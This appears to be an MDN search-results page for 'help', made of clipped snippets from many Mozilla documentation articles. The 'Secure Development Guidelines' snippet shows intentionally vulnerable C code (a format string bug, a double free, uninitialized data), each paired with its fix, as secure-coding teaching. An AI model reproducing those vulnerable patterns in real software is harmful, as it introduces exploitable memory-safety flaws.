... <menu label="help"> <menupopup> <menuitem label="contents"/> <menuitem label="search help"/> </menupopup> </menu> normally, a menupopup is hidden.
... when the 'help' label is pressed, the menupopup is displayed over top of the window, aligned along the bottom of the help menu label.

Commands - Archive of obsolete content
a simple way of using commands is as follows: example: simple command example 1 : source view <command id="cmd_openhelp" oncommand="alert('help!');"/> <button label="help" command="cmd_openhelp"/> in this example, instead of placing the oncommand attribute on the button, we instead place it on a command element.
...the result is that when the button is pressed, the command 'cmd_openhelp' is invoked.
... example: toggling command disabled example 2 : source view <command id="cmd_openhelp" oncommand="alert('help');"/> <button label="help" command="cmd_openhelp"/> <button label="more help" command="cmd_openhelp"/> <button label="disable" oncommand="document.getelementbyid('cmd_openhelp').setattribute('disabled','true');"/> <button label="enable" oncommand="document.getelementbyid('cmd_openhelp').removeattribute('disabled');"/> in this example, both buttons use th...
... it is normal to put a group of commands inside a commandset element, together near the top of the xul file, as in the following: <commandset> <command id="cmd_open" oncommand="alert('open!');"/> <command id="cmd_help" oncommand="alert('help!');"/> </commandset> a command is invoked when the user activates the button or other element attached to the command.

prefwindow - Archive of obsolete content
attributes buttonalign, buttondir, buttonorient, buttonpack, buttons, defaultbutton, lastselected, onbeforeaccept, ondialogaccept, ondialogcancel, ondialogdisclosure, ondialoghelp, onload, onunload, title, type properties buttons, currentpane, defaultbutton, lastselected, preferencepanes, type methods acceptdialog, addpane, canceldialog, centerwindowonscreen, getbutton, opensubdialog, openwindow, showpane examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <prefwindow xmlns="http://www.mozilla.org/keymaster/gatekeeper...
... help: a help button for displaying help about the dialog.
... ondialoghelp type: script code the code in this attribute is called when the "help" button is pressed.
... help: a help button for displaying help about the dialog.

2006-09-29 - Archive of obsolete content
discussions extension based testing - someone is in the process of writing a small extension that tests firefox's help in terms of table-of-contents and search looking for firefox triagers to evaluate a triage tool - a phd student is working on a way to assist triagers.
... help testing helper extension - someone made a new extension.
... he needs help testing it out and wants to know how to make an iframe loads not go into the history.
... he also created a bug report to get rid of the help hooks in page info that lead nowhere.

The Business Benefits of Web Standards - Archive of obsolete content
in this case, every bit helps.
...using css to render titles instead of graphics also helps in this regard.
...that has been the real impact of the zen garden, in helping to demonstrate the stunning results which are possible without altering the markup, and indeed keeping the amount of presentational markup to an acceptable minimum.
...using validation tools such as the w3c validator helps by spotting coding errors and making sure html code is well-formed, which eliminates ambiguity in parsing by browsers.

Building up a basic demo with Three.js - Game development
three.js, as with any other 3d library, provides built-in helper functions to help you implement common 3d functionality more quickly.
...there are two helper variables already included, which store the window's width and height.
...our render() function will do this job, with a little help from requestanimationframe(), which causes the scene to be re-rendered constantly on every frame: function render() { requestanimationframe(render); renderer.render(scene, camera); } render(); on every new frame the render function is invoked, and the renderer renders the scene and the camera.
...first, we implement a helper variable, called t, for counting elapsed time.

Desktop mouse and keyboard controls - Game development
the good thing about using phaser is that it offers helper variables and functions for easier and faster development, but it's totally up to you which approach you chose.
...there are no helpers so you have to remember what the given codes are (or look them up); 37 is the left arrow: function keydownhandler(event) { if(event.keycode == 39) { rightpressed = true; } else if(event.keycode == 37) { leftpressed = true; } if(event.keycode == 40) { downpressed = true; } else if(event.keycode == 38) { uppressed = true; } } the keyuph...
... we could write our own keycode object containing the key codes, for example: var keyboardhelper = { left: 37, up: 38, right: 39, down: 40 }; that way instead of using the codes to compare the input in the handler functions we could do something like this, which is arguably easier to remember: if(event.keycode == keyboardhelper.left) { leftpressed = true; } note: you can also find a list if the different keycodes and what keys they relate to in the keycode reference page.
...the built in this.game.input.keyboard object manages the input from the keyboard and has a few helpful methods like addkey() and isdown().

Efficient animation for web games - Game development
help the browser help you if you are using dom for your ui, which i would certainly recommend, you really ought to use css transitions and/or css animations, rather than javascript-powered animations.
...there aren’t solid guarantees of what order things will be called in with requestanimationframe (though, in our experience, it is in the order in which they were requested), so this also helps cut out any ambiguity.
... a take-away to help combat poor animation performance, chris lord wrote animator.js, a simple, easy-to-use animation library, heavily influenced by various parts of clutter, but with a focus on avoiding scope-creep.
...it includes a handful of built-in tweening functions, the facility to add your own, and helper functions for animating object properties.

Index - MDN Web Docs Glossary: Definitions of Web-related terms
specifications might also contain sections that are marked as non-normative or informative, which means those are provided there for the purpose of helping the reader understand the specifications better or to showcase an example or best practice, which need not be followed as a rule.
...rum helps identify how an application is being used, including the geographic distribution of users and the impact of that distribution on the end user experience.
... 448 tcp slow start glossary, infrastructure, networking, tcp, transmission control protocol, web performance, data tcp slow start helps buildup transmission speeds to the network's capabilities.
... 526 non-normative glossary, infrastructure, specification, standardization software specifications often contains information marked as non-normative or informative, which means that those are provided there for the purpose of helping the readers to understand the specification better or to show an example or a best practice, and not needed to be followed as a rule.

What is the difference between webpage, website, web server, and search engine? - Learn web development
search engine a web service that helps you find other web pages, such as google, bing, yahoo, or duckduckgo.
...a search engine is a special kind of website that helps users find web pages from other websites.
...let's make it clear: a browser is a piece of software that retrieves and displays web pages; a search engine is a website that helps people find web pages from other websites.
...the distinction will help you quite a bit, but even some professionals speak loosely, so don't feel anxious about it.

How do I start to design my website? - Learn web development
how will a website help me reach my goals?
... doing this simple exercise—writing goals and sorting them—will help you out when you have decisions to make.
...in short, since these goals all revolve around the same topic, having everything in one place will help us meet our goals and help our followers connect with us.
... how can a website help me reach my goals?

Client-side form validation - Learn web development
this is called client-side form validation, and helps ensure data submitted matches the requirements set forth in the various form controls.
... how can i help the user to correct invalid data?
... in order to reduce the user's frustration, it's very important to provide as much helpful information as possible in order to guide them in correcting their inputs.
...always remember to help your users correct the data they provide.

Debugging HTML - Learn web development
this article will introduce you to some tools that can help you find and fix errors in html.
... interpreting the error messages the error messages are usually helpful, but sometimes they are not so helpful; with a bit of practice you can work out how to interpret these to fix your code.
...you'll see that each message comes with a line and column number to help you to locate the error easily.
... "unclosed element ul": this is not very helpful, as the <ul> element is closed correctly.

Perceived performance - Learn web development
improving perceived performance understanding networking, how the browser works, user perception of time, etc., can help you better understand how to improve the user interaction.
... here are a few tips and tricks to help improve performance: minimize initial load to improve perceived performance, minimize the original page load.
...loading essential data in initial requests and progressively loading features and data only as needed helps mitigate low bandwidth and lower spec hardware.
... avoid font file delays font use can both help and harm user experience.

The business case for web performance - Learn web development
performance budgets setting a web performance budget can help you make sure the team stays on track in keeping the site and help prevent regressions.
... definining and promoting a budget helps performance proponent advocates for good user experience against competing interests, such as marketing, sales, or even other developers that may want to add videos, 3rd party scripts, or even frameworks.
... performance budgets help developer teams protect optimal performane for users while enabling the business to tap into new markets and deliver custom experiences.
... setting converstion rate, time on site, and/or net promotion scores as kpis give financial and other business goal value to the web performance efforts, and get help boost buy in, with metrics to prove the efforts worth.

Server-side web frameworks - Learn web development
the field definitions may also specify their maximum size, default values, selection list options, help text for documentation, label text for forms etc.
...in addition to "ease of use" of the language itself, high quality documentation/tutorials and an active community helping new users are your most valuable resources.
...all of them have everything you need to be productive — they are open source, are under active development, have enthusiastic communities creating documentation and helping users on discussion boards, and are used in large numbers of high-profile websites.
... load balancers help to ensure redundancy and reliability or allow geolocated handling of user requests to ensure responsiveness.

Website security - Learn web development
this introductory article won't make you a website security guru, but it will help you understand where threats come from, and what you can do to harden your web application against the most common attacks.
...finally, there are publically available vulnerability scanner tools that can help you find out if you've made any obvious mistakes.
... note: this is an introductory topic, designed to help you start thinking about website security, but it is not exhaustive.
... web frameworks can help mitigate many of the more common vulnerabilities.

Framework main features - Learn web development
while it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the communities around those frameworks.
...with the addition of some helper modules, you can style your framework apps in sass or less, or transpile your css stylesheets with postcss.
...to avoid a broken experience in sufficiently complex apps with lots of views, each of the frameworks covered in this module provides a library (or more than one library) that helps developers implement client-side routing in their applications.
... here’s a quick test for our counterbutton written with the help of react testing library — it tests a number of things, such as the button's existance, and whether the button is displaying the correct text after being clicked 0, 1, and 2 times: import react from "react"; import { render, fireevent } from "@testing-library/react"; import "@testing-library/jest-dom/extend-expect"; import counterbutton from "./counterbutton"; it("renders a semantic with an ...

Getting started with React - Learn web development
familiarity with both html and javascript will help you to learn jsx, and better identify whether bugs in your application are related to javascript or to the more specific domain of react.
... of course, your browser can't read jsx without help.
...there's some other markup that helps create-react-app function, so take care not to edit it unless you know what you're doing.
... service workers are interesting pieces of code that help application performance and allow features of your web applications to work offline, but they’re not in scope for this article.

Beginning our React todo list - Learn web development
defining user stories before we begin our work will help us focus our work.
...once we have put our styles in place, though, any element with this class will be hidden from sighted users and still available to screen reader users — this is because these words are not needed by sighted users; they are there to provide more information about what the button does for screenreader users that do not have the extra visual context to help them.
... further down, you can find our <ul> element: <ul role="list" classname="todo-list stack-large stack-exception" aria-labelledby="list-heading" > the role attribute helps assistive technology explain what kind of element a tag represents.
...making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it.

Starting our Svelte Todo list app - Learn web development
once we have put our styles in place, though, any element with this class will be hidden from sighted users and still available to screen reader users — this is because these words are not needed by sighted users; they are there to provide more information about what the button does for screenreader users that do not have the extra visual context to help them.
... further down, you can find the following <ul> element: <ul role="list" classname="todo-list stack-large" aria-labelledby="list-heading"> the role attribute helps assistive technology explain what kind of semantic value an element has — or what its purpose is.
...making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it.
... accessibility (shortened to a11y) isn't always easy to get right, but svelte will help by warning you if you write inaccessible markup.

Understanding client-side JavaScript frameworks - Learn web development
in this set of articles, we are aiming to give you a comfortable starting point to help you begin learning frameworks.
...it is very important to be able to get help with learning a complex subject, especially when you are just starting out.
...keeping the list short is therefore helpful.
...if your favourite framework is not represented in this content and you'd like to help change that, feel free to discuss it with us!

Handling common HTML and CSS problems - Learn web development
see finding help below.
...we find that it is helpful to inspect the element you are trying to style using your browser's dev tools, then look at the dom tree breadcrumb trail that dom inspectors tend to provide to see if your selector makes sense compared to it.
... finding help there are many other issues you'll encounter with html and css, making knowledge of how to find answers online invaluable.
... stackoverflow.com (so) is a forum site where you can ask questions and have fellow developers share their solutions, look up previous posts, and help other developers.

Learn web development
besides, if you have a specific question about web development, our common questions section may have something to help you.
...we'd like to hear from you about anything you think is wrong or missing on the site, requests for new learning topics, requests for help with items you don't understand, or any other questions or concerns.
... if you're interested in helping develop/improve the content, take a look at how you can help and get in touch!
... we are more than happy to talk to you, whether you are a learner, teacher, experienced web developer, or someone else interested in helping to improve the learning experience.

Information for users
firefox 2 now has help topics (from the menubar: ?
... > help contents f1 > accessibility features) which describe any special features and keyboard shortcuts designed to help users with disabilities.
... please check the accessibility help topic for more information.
... planning ahead for accessibility this document is intended to help testers and designers understand and plan what still needs to be added to our ui for full usable accessibility.

Mozilla’s UAAG evaluation report
in the rare cases where it is, it is of no help (typically it's just the filename, maybe with a file size).
...help wanted.
...provide accessible user agent documentation and help.
...(p1) nr some end user docs are under help, help contents in mozilla here is the main page for mozilla end user documentation none of these resources have been evaluated for wcag compliance 12.2 document accessibility features.

Accessibility and Mozilla
accessibility api cross-referencethis cross-reference helps us see the difference between today's accessibility api's.
...since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.information for governments and other organizations evaluating mozillainformation for usersfirefox 2 now has help topics (from the menubar: ?
... > help contents f1 > accessibility features) which describe any special features and keyboard shortcuts designed to help users with disabilities.
... please check the accessibility help topic for more information.links and resourceshere are some useful links for those interested in web accessibility as well as open source accessibility.mozilla accessibility architecturethis page is maintained by aaron leventhal and by the mozilla accessibility community.

What to do and what not to do in Bugzilla
before you have canconfirm, you can still do good triaging by leaving comments with useful information on the bug that will help to confirm it.
... the same is true for editbugs: leave comments with the information you'd like to be able to edit into the bug, and that will help you get the editbugs permissions quickly.
...the reporter should be directed to the product's support page for help diagnosing the issue.
...this isn't mandatory, but can help prevent accidental filing of duplicates of a bug that's already been fixed.

Bugzilla
bugzilla etiquette a guide to etiquette; this guide will help you understand how best to conduct yourself on b.m.o.
... and how using proper manners and civility will help ensure your problem gets solved sooner rather than later.
...this guide will help you do so.
... other materials an introduction to bugzilla bugzilla for humans bugzilla quicksearch help page.

Debugging
fortunately, over the years, mozilla developers have come up with not just technologies and features to help you debug code, but have devised tips and techniques that can help too.
... debugging a xulrunner application tips and suggestions that will help you debug your xulrunner based application.
... replay debugging firefox with vmware workstation how to setup record and replay debugging on firefox, to help debug intermittent mochitest failures.
... debugging tools tools assorted tools that will help you debug your code or web site.

Configuring Build Options
this will also help when troubleshooting because people will want to know which build options you have selected and will assume that you have put them in your mozconfig file.
...the full list of options can be obtained by running ./configure --help.
...this will help catch any errors introduced into the js code, with less of a performance impact compared to the --enable-debug option.
... tests ac_add_options --disable-tests by default, many auxiliary test applications are built, which can help debug and patch the mozilla source.

Eclipse CDT Manual Setup
important background to help you make sense of the instructions that follow (and so that you can modify them to meet your own needs if necessary), this section provides some background on what ides need in order to provide advanced code assistance, and what eclipse cdt needs in particular.
... before you proceed any further, check that your changes to eclipse's memory limits have taken effect and are present in eclipse/help > about eclipse > installation details > configuration.
...if you want a column marker to mark the 80th column to help with formatting code to mozilla's 80 character line limit, tick "show print margin" and set the value to 80.
...you should be able to use the list of unresolved includes to help figure out what the problem is (see also the parser errors section for more troubleshooting tips).

SVG Guidelines
however, when authoring svgs by hand here are some best practices to help keep them lightweight.
...(usually seen in path definitions) excessive whitespace in path or polygon points definition examples this path: <path d=" m5,5 l1,1z "> can be cut down to this: <path d="m5,5 l1,1z"> similarly, this polygon: <polygon points=" 0,0 4,4 4,0 "/> can be cut down to this: <polygon points="0,0 4,4 4,0"/> line breaks you should only use line breaks for logical separation or if they help make the file readable.
...you can avoid this by doing basic algebra, for example: <g transform="translate(-62, -310)"><shape transform="translate(60, 308)"/></g> can be cut down to: <shape transform="translate(-2,-2)"/> because: -62+60 = -310+308 = -2 performance tips these rules are optional, but they help speeding up the svg.
... tools tools can help to clean svg files.

Multiple Firefox profiles
having different profiles would help separate work and personal life, or allow each family member to have his or her own set of bookmarks, settings, and add-ons.
...please add any helpful tools you discover to the list!
...the following tutorial will help get you going overall: gnome 3 custom application launcher.
... setting up multiple profiles for different firefox channels this section will be especially helpful if you are a developer, wanting to work with multiple channels, and each having their separate launcher.

Performance
function helper(window, action) { // ...
... do some work on the window } function dosomething(message) { result = helper(content, message.data) sendasyncmessage("my-addon:response-from-child", {something: result}) } addmessagelistener("my-addon:request-from-parent", dosomething) why is this bad?
... function helper(window, action) { // ...
... do some work on the window } function dosomething(message) { frameglobal = message.target result = helper(frameglobal.content, message.data) frameglobal.sendasyncmessage("my-addon:response-from-child", {something: result}) } function addframe(frameglobal) { frameglobal.addmessagelistener("my-addon:request-from-parent", dosomething) } javascript modules are per-process singletons and thus all their objects are only initialized once, which makes them suitable for stateless callbacks.

Localization and Plurals
this page is to help explain how to localize these strings so that the correct plural form is shown to the user.
... usage here are a couple terms used in this page to help keep things clear: plural rule: for a given language, there is a grammatical rule on how to change words, depending on the number qualifying the word.
...for each entry, there is a list of families and languages in those families, to help you figure out if it's the rule you should pick for pluralrule.
... pluralrule=10 seconds=sekunda;sekundźe;sekundy;sekundow minutes=mjeńšina;mjeńšinje;mjeńšiny;mjeńšin hours=hodźina;hodźinje;hodźiny;hodźin days=dźeń;dnjej;dny;dnjow testing extension to help make sure you pick the right plural rule and provide enough plural forms for strings, you should use the pluralform checker extension.

Localizing with Koala
introduction this tutorial will guide you through making a couple of changes to firefox's user interface using koala, an add-on for komodo edit created to help localizing mozilla.
...this is helpful for keeping the localization files clean and tidy at all times.
...see "hg help add", "hg help remove" and "hg help addremove" for more details.
...a good way of doing that is to ask yourself a question: "if i was a new person to this project and new nothing about the work already done in this repository, would this message help me understand what changes were made in this revision?".

DMD
it helps us reduce the "heap-unclassified" value in firefox's about:memory page, and also detects if any heap blocks are reported twice.
...this tells you which heap blocks were not reported, which indicate where additional memory reporters would be most helpful.
...run mach help run for documentation on these.
...it often helps improve the quality of the output when using a small --max-frames value.

powermetrics
178.65 75.85 17.29 terminal 694 9.86 79.94 0.00 0.00 4.39 2.20 0.00 powermetrics 84694 1.21 31.53 0.00 0.00 0.20 0.20 0.00 com.google.chrome 489 233.83 48.10 25.95 0.00 google chrome helper 84688 181.57 92.81 0.00 0.00 23.95 12.77 0.00 google chrome 84681 57.26 76.07 4.39 0.00 23.75 12.97 0.00 google chrome helper 84685 0.13 48.08 0.00 0.00 0.40 0.20 0.00 kernel_coalition 1 128.64 ...
...6.48 26.65 com.apple.webkit.webcontent 84679 64.21 84.69 0.00 0.00 104.19 54.89 26.66 com.apple.webkit.networking 84678 26.89 58.89 0.40 0.00 1.60 0.00 0.00 safari 84676 1.56 55.74 0.00 0.00 2.59 1.40 0.00 com.apple.safari.searchhelper 84690 0.15 49.49 0.00 0.00 0.20 0.20 0.00 org.mozilla.firefox 482 76.56 124.34 63.47 0.00 firefox 84496 76.70 89.18 10.58 5.59 124.55 63.48 0.00 this sample was taken while the following programs were running: firefox b...
...= _pkg_ (cores + _gpu_ + other) + _ram_ w #01 17.14 w = 14.98 ( 5.50 + 1.19 + 8.29) + 2.16 w 1 sample taken over a period of 30.000 seconds name id cpu ms/s user% deadlines (<2 ms, 2-5 ms) wakeups (intr, pkg idle) gpu ms/s com.google.chrome 500 439.64 585.35 218.62 19.17 google chrome helper 67319 284.75 83.03 296.67 0.00 454.05 172.74 0.00 google chrome helper 67304 55.23 64.83 0.03 0.00 9.43 4.33 19.17 google chrome 67301 63.77 68.09 29.46 0.13 76.11 22.26 0.00 google chrome helper 67320 38.30 66.70 17.83 0...
... 46.05 1.69 com.apple.webkit.webcontent 67372 190.15 79.34 2.02 0.14 129.28 53.79 2.33 com.apple.webkit.networking 67292 65.23 52.74 0.07 0.00 4.33 1.40 0.00 safari 67290 29.09 77.65 0.23 0.00 7.13 3.37 0.00 com.apple.safari.searchhelper 67371 13.88 91.18 0.00 0.00 0.36 0.05 0.00 com.apple.webkit.webcontent 67297 0.81 56.84 0.10 0.00 2.20 1.30 0.00 com.apple.webkit.webcontent 67293 0.46 76.40 0.03 0.00 0.57 0.20 0.00 com.apple.webkit.webcontent 67295 0.24 67.72 0.00 0.00 ...

Index
if you want to work with nss, it's often helpful to use the command line utilities that are provided by the nss developers.
... would you like to get involved and help us to improve the core security of mozilla firefox and other applications that make use of nss?
...to help address some of these problems, you can associate digital signatures with the files in a jar archive.
... a complete list of ecc curves is given in the help (-h).

NSS API Guidelines
this will help you understand existing nss code.
... it should also help you understand how to write new code, and where to place it.
...these rules are here to help us all immediately achieve more consistent and usable code, but some existing code won't follow all these rules.
...combined with purify, this also helps us catch cases where things being allocated by one allocator are freed by another, which is a common windows pitfall.

SpiderMonkey 1.8
this is to help applications share and reuse code regardless of whether they use threads.
... two new functions, js_setgczeal and js_dumpheap, aim to help developers debug gc-related problems.
...js_setgczeal is especially helpful.
...js_dumpheap dumps parts of the gc heap and can help detect leaks.

SpiderMonkey 24
new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
... some c++ helpers have been introduced into the api, to help embedders writing c++ projects.
... ...list new c++ helpers here...
... js_getprototype, takes context as first argument js_encodestringtobuffer takes add context as first argument, js_newruntime adds a js_[use|no]_helper_threads flag delete property in jsclass definitions now use js_deletepropertystub garbage collection functions now take runtime argument most garbage collection functions now take a runtime argument instead of a context.

TPS Tests
using this technique in conjunction with aboutsync is helpful.
... (note that the python testrunner will generally still kill firefox after a tps test runs for 5 or so minutes, so it's often helpful to kill the python testrunner outright, and then use aboutsync in a different instance of the browser).
...the other engines are similarly unhelpful, and will likely fail if there's any problem, without really indicating what the problem is.
... feel free to ask for help with setting up and running tps in the #sync irc channel!

Secure Development Guidelines
} integer overflows/underflows: prevention difficult to fix: you need to check every arithmetic operation with user input arithmetic libraries like safeint can help signedness issues bits data type range 8 signed char -128 - +127 unsigned char 0 - +255 16 signed short -32768 - +32767 unsigned short 0 - +65535 32 signed int -2147483648 - +2147483647 unsigned int 0 - +4294967295 64 signed long long -9223372036854775808 - +92233720368...
... (argc > 1) printf(argv[1]); } format string bugs: prevention easy to fix: always use a format string specifier: int main(int argc, char *argv[]) { if (argc > 1) printf("%s", argv[1]); } double free example: void* ptr = malloc(1024); if (error) { free(ptr); } free(ptr); double free: prevention set a pointer to null when it’s freed valgrind or malloc debugging can help detect those bugs use after free accessing data after a free() or delete can lead to undefined behavior some debug tools might be able catch some cases un-initialized data example: int main() { char *uninitialized_ptr; printf("0x%08x\r\n", uninitialized_ptr); return 0; } $ ./test 0x8fe0103 un-initialized data: prevention initialize your variables!
... memory leaks example: void *p; size_t new_size; p = realloc(p, new_size); if (p == null) { /* handle error */ } memory leaks: prevention tools like valgrind can help detect memory leaks writing secure code: object management reference counting issues real-life example (bug 440230) void addref() { ++mrefcnt; ns_log_addref(this, mrefcnt, "nscssvalue::array", sizeof(*this)); } void release() { --mrefcnt; ns_log_release(this, mrefcnt, "nscssvalue::array"); if (mrefcnt == 0) delete this; } reference counting issues: prevention use the largest data type available on your platform for your reference counter use a hard limit constructor/destructor issues if a constructor fails the destructor never gets called this can lead to...
... } } memory leaks: prevention any acquired resource in a try block should be freed in a catch block (if the try block throws before the resource is freed) might be helpful to initialize variables null for pointers -1 for file descriptors ...

Avoiding leaks in JavaScript XPCOM components
this article needs to be updated to reflect the changes and the cases where they help.
...this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascript patterns that cause leaks.
...in c++, we use nscomptr to help manage ownership, and we use macros to implement addref and release.
...understanding how memory management works in xpconnect helps understand why this is the case.

XPCOM Interface Reference
edeviceinfonsicacheentrydescriptornsicacheentryinfonsicachelistenernsicachemetadatavisitornsicacheservicensicachesessionnsicachevisitornsicachingchannelnsicancelablensicategorymanagernsichannelnsichanneleventsinknsichannelpolicynsicharsetresolvernsichromeframemessagemanagernsichromeregistrynsiclassinfonsiclipboardnsiclipboardcommandsnsiclipboarddragdrophooklistnsiclipboarddragdrophooksnsiclipboardhelpernsiclipboardownernsicollectionnsicommandcontrollernsicommandlinensicommandlinehandlernsicommandlinerunnernsicomponentmanagernsicomponentregistrarnsicompositionstringsynthesizernsiconsolelistenernsiconsolemessagensiconsoleservicensicontainerboxobjectnsicontentframemessagemanagernsicontentprefnsicontentprefcallback2nsicontentprefobservernsicontentprefservicensicontentprefservice2nsicontentsecurity...
...ernsidragservicensidragsessionnsidroppedlinkhandlernsidroppedlinkitemnsidynamiccontainernsieditornsieditorboxobjectnsieditordocshellnsieditorimesupportnsieditorloggingnsieditormailsupportnsieditorobservernsieditorspellchecknsieffectivetldservicensienumeratornsienvironmentnsierrorservicensieventlistenerinfonsieventlistenerservicensieventsourcensieventtargetnsiexceptionnsiextensionmanagernsiexternalhelperappservicensiexternalprotocolservicensiexternalurlhandlerservicensiftpchannelnsiftpeventsinknsifactorynsifavicondatacallbacknsifaviconservicensifeednsifeedcontainernsifeedelementbasensifeedentrynsifeedgeneratornsifeedpersonnsifeedprocessornsifeedprogresslistenernsifeedresultnsifeedresultlistenernsifeedtextconstructnsifilensifileinputstreamnsifileoutputstreamnsifilepickernsifileprotocolhandlernsi...
...iniparserwriternsiioservicensiidleservicensiinprocesscontentframemessagemanagernsiinputstreamnsiinputstreamcallbacknsiinstalllocationnsiinterfacerequestornsijscidnsijsidnsijsiidnsijsonnsijetpacknsijetpackservicensijumplistbuildernsijumplistitemnsilivemarkservicensiloadgroupnsilocalfilensilocalfilemacnsilocalensilocaleservicensilogininfonsiloginmanagernsiloginmanagercryptonsiloginmanageriemigrationhelpernsiloginmanagerprompternsiloginmanagerstoragensiloginmetainfonsimimeinputstreamnsimacdocksupportnsimarkupdocumentviewernsimemorynsimemorymultireporternsimemorymultireportercallbacknsimemoryreporternsimemoryreportermanagernsimenuboxobjectnsimessagebroadcasternsimessagelistenernsimessagelistenermanagernsimessagesendernsimessagewakeupservicensimessengernsimicrosummarynsimicrosummarygeneratornsimicr...
...mensiwebbrowserchrome2nsiwebbrowserchrome3nsiwebbrowserchromefocusnsiwebbrowserfindnsiwebbrowserfindinframesnsiwebbrowserpersistnsiwebcontenthandlerregistrarnsiwebnavigationnsiwebnavigationinfonsiwebpagedescriptornsiwebprogressnsiwebprogresslistenernsiwebprogresslistener2nsiwebsocketchannelnsiwebsocketlistenernsiwebappssupportnsiwifiaccesspointnsiwifilistenernsiwifimonitornsiwinaccessnodensiwinapphelpernsiwintaskbarnsiwindowcreatornsiwindowmediatornsiwindowwatchernsiwindowsregkeynsiwindowsshellservicensiworkernsiworkerfactorynsiworkerglobalscopensiworkermessageeventnsiworkermessageportnsiworkerscopensiwritablepropertybagnsiwritablepropertybag2nsixformsmodelelementnsixformsnsinstanceelementnsixformsnsmodelelementnsixmlhttprequestnsixmlhttprequesteventtargetnsixmlhttprequestuploadnsixpcexception...

Reference Manual
this section will help you if you're already familiar with nscomptr but you need details.
... to help prevent this, we are trying to make the first form, above, illegal by making operator& private.
...nscomptr helpers nscomptr<t> = do_queryreferent( nsiweakreference* ), nscomptr<t> = do_queryreferent( nsiweakreference*, nsresult* ) do_queryreferent exists to facilitate weak references based on nsiweakreference.
...the patterns presented throughout this section will help you get the most out of nscomptr.

Network request list - Firefox Developer Tools
you can also change the width of the columns to help make the information you are looking for easier to view.
...the numeric code is displayed on a colored background, to help unusual ones stand out.
... note: (starting in firefox 80) you can also block and unblock urls from the web console, using the :block and :unblock helper commands.
... the third-party add-on websocket sniffer may be helpful as well.

The JavaScript input interpreter - Firefox Developer Tools
to clear the history, use the clearhistory() helper function.
...defines a new function: <!doctype html> <html> <head> <meta charset="utf-8"> <script> function whoareyou() { return "i'm frame1"; } </script> </head> <body> </body> </html> you can switch context to the iframe like this: cd("#frame1"); now you'll see that the global window's document is the iframe: and you can call the function defined in the iframe: helper commands the javascript command line provided by the web console offers a few built-in helper functions that make certain tasks easier.
... help()deprecated since gecko 62 :help displays help text.
...this helper accepts multiple different ways of identifying the frame to switch to.

KeyboardEvent: code values - Web APIs
0xe032 "browserhome" "browserhome" 0xe033, 0xe034 "unidentified" "" 0xe035 "numpaddivide" "numpaddivide" 0xe036 "unidentified" "" 0xe037 "printscreen" "printscreen" 0xe038 "altright" "altright" 0xe039, 0xe03a "unidentified" "" 0xe03b "unidentified" "help" 0xe03c～ 0xe044 "unidentified" "" 0xe045 "numlock" "numlock" 0xe046 (ctrl + pause) "pause" "pause" 0xe047 "home" "home" 0xe048 "arrowup" "arrowup" 0xe049 "pageup" "pageup" 0xe04a "unidentified" "" 0xe04b "arrowleft" "arrowleft" 0xe04c "uniden...
...d actually) kvk_f11 (0x67) "f11" "f11" kvk_jis_kana (0x68) "lang1" "kanamode" (no events fired actually) kvk_f13 (0x69) "f13" "f13" kvk_f16 (0x6a) "f16" "f16" kvk_f14 (0x6b) "f14" "f14" kvk_f10 (0x6d) "f10" "f10" kvk_f12 (0x6f) "f12" "f12" kvk_f15 (0x71) "f15" "f15" kvk_help (0x72) "help" "insert" kvk_home (0x73) "home" "home" kvk_pageup (0x74) "pageup" "pageup" kvk_forwarddelete (0x75) "delete" "delete" kvk_f4 (0x76) "f4" "f4" kvk_end (0x77) "end" "end" kvk_f2 (0x78) "f2" "f2" kvk_pagedown (0x79) "pagedown" "pagedown" kvk_f1 (0x7a) "f1" "f1" ...
...textmenu" "contextmenu" 0x0088 "browserstop" "cancel" 0x0089 "again" "" 0x008a "props" "" 0x008b "undo" "undo" 0x008c "select" "" 0x008d "copy" "copy" 0x008e "open" "" 0x008f "paste" "paste" 0x0090 "find" "" 0x0091 "cut" "cut" 0x0092 "help" "help" 0x0093 "unidentified" "" 0x0094 "launchapp2" "" 0x0095, 0x0096 "unidentified" "" 0x0097 "wakeup" "" 0x0098 "launchapp1" "" 0x0099 ～ 0x00a2 "unidentified" "" 0x00a3 "launchmail" "" 0x00a4 "browserfavorites" "" 0x00a5 "unidentified" "" 0x00a6 ...
...07d "metaleft" 0x007e "metaright" 0x007f "contextmenu" 0x0080 "browserstop" 0x0081 "again" 0x0082 "props" 0x0083 "undo" 0x0084 "select" 0x0085 "copy" 0x0086 "open" 0x0087 "paste" 0x0088 "find" 0x0089 "cut" 0x008a "help" 0x008b ～ 0x008d "unidentified" 0x008e "sleep" 0x008f "wakeup" 0x0090 "launchapp1" 0x0091 ～ 0x009b "unidentified" 0x009c "browserfavorites" 0x009d "unidentified" 0x009e "browserback" 0x009f "browserforward" 0x00a0 "unidentified" 0...

WebGL model view projection - Web APIs
box.draw({ top : 1, // x bottom : -1, // x left : -1, // y right : 1, // y depth : -1.5, // z color : [0.4, 0.4, 1, 1] // blue }); the results view on jsfiddle exercise a helpful exercise at this point is to move the boxes around the clip space by varying the code to get a feel for how points get clipped and moved around in clip space.
...see perspective projection matrix below for an introduction to how to use more complex matrices to help control and prevent clipping.
...it would be helpful to define what distance is relevant to the scene so that precision isn't lost in converting the numbers.
... finally it's very helpful to have a fine-tuned control over what points get placed inside and outside of clip space.

Accessibility documentation index - Accessibility
11 multipart labels: using aria for labels with embedded fields inside them aria, accessibility, ben millard, firefox, guide, help, html, html 4, jaws, needscontent, aria-labelledby, label, solution, trouble shoot, troubleshoot the solution is in an aria attribute called aria-labelledby.
... taking advantage of personalization settings can help prevent exposure to content leading to seizures and / or other physical reactions.
... 95 understanding the web content accessibility guidelines wcag, web content accessibility guidelines this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web content accessibility guidelines 2.0 or 2.1 (or just wcag, for the purposes of this writing).
... 103 understandable accessibility, help, language, navigation, principle 3, text, understandable, wcag, web content accessibility guidelines, abbreviations, consistency, error messages, form validation, labels, slang this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the understandable principle of the web content accessibility guidelines (wcag) 2.0 and ...

Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
